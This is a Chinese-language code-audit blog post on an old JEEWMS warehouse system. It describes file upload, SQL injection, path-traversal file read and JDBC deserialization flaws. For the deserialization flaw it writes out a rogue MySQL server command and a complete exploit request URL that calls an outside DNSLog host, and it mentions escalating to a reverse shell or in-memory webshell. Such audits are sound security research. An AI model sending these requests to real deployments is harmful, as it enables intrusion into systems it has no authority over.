点击蓝字
关注我们
日期:2025/04/14
作者:Corl7
介绍:老版JEEWMS代码审计。
0x00 前言
JEEWMS
是基于Java
全栈技术打造的智能仓储中枢系统,具备多形态仓储场景深度适配能力(兼容3PL
第三方物流与厂内物流双模式)。该系统使用SpringMVC
框架,Mysql
数据库,本次审计是对老版本的JEEWMS
系统进行审计。
0x01 文件上传
查看该代码,主要是获取应用程序的根目录路径并拼接文件名作为上传路径,然后调用new File
进行文件上传。
构造数据包,进行文件上传,响应操作成功。
成功访问上传后的aaa.jsp
。
0x02 JDBC反序列化
这段代码的主要功能是测试数据库连接是否成功,从dbSource
中获取DriverClass
、Url
、DbUser
、DbPassword
的值,然后进行创建数据库连接,并且这些参数可以从前端获取。
在pom.xml
中引入的mysql
版本为5.1.27
,该版本是存在JDBC
反序列化的。
使用fake-mysql-cli-0.0.4
工具在服务器中起一个服务。
java -jar fake-mysql-cli-0.0.4.jar -p 8787
使用burp
进行发包,显示数据库连接失败,但是这没有关系。
/jeewms/dynamicDataSourceController.do?testConnection&driverClass=com.mysql.jdbc.Driver&url=jdbc:mysql://x.x.x.x:8787/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&dbUser=deser_URLDNS_http://7x8gp9.dnslog.cn
DNSLog
成功收到请求。
0x03 SQL注入
SQL
注入该系统存在很多,本次只针对其中一个进行审计。查看该接口,发现configId
参数值从前端获取,并且传入cgReportService.queryCgReportConfig
方法。
查看queryCgReportConfig
实现方法,在queryCgReportConfig
方法中又调用了queryCgReportMainConfig
方法,并且把reportId
传给了该方法,在queryCgReportMainConfig
方法中又调用了cgReportDao.queryCgReportMainConfig
方法。
该方法的SQL
语句中使用$
拼接了configId
的值,造成了SQL
注入。
构造数据包。
使用SQLmap
成功跑出注入。
0x04 任意文件读取
该代码接收down
、dbPath
参数的值,判断flag
的值是否等于1
。如果等于1
,则表示请求是下载文件并对文件名进行url
编码,否则,表示请求是显示图片。读取路径首先从配置文件中获取webUploadpath
的值,然后再拼接dbPath
的值,再进行读取。
全局搜索webUploadpath
,发现在sysConfig.properties
中定义了该值,在C
盘upfiles
目录下。
在C
盘根目录创建test.txt
,内容为test
。构造数据包,使用两个../
,成功读取test.txt
。
当down
等于1
时,会对文件名进行URL
编码。
0x05 总结
JEEWMS
系统存在不少类型的漏洞,但是本篇文章并未涉及到该系统的全部漏洞。但其中的JDBC
反序列化漏洞不是很常见,除了ping dnslog
外,还可以尝试反弹shell
、打内存马等。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
点此亲启
原文始发于微信公众号(宸极实验室):『代码审计』JEEWMS代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论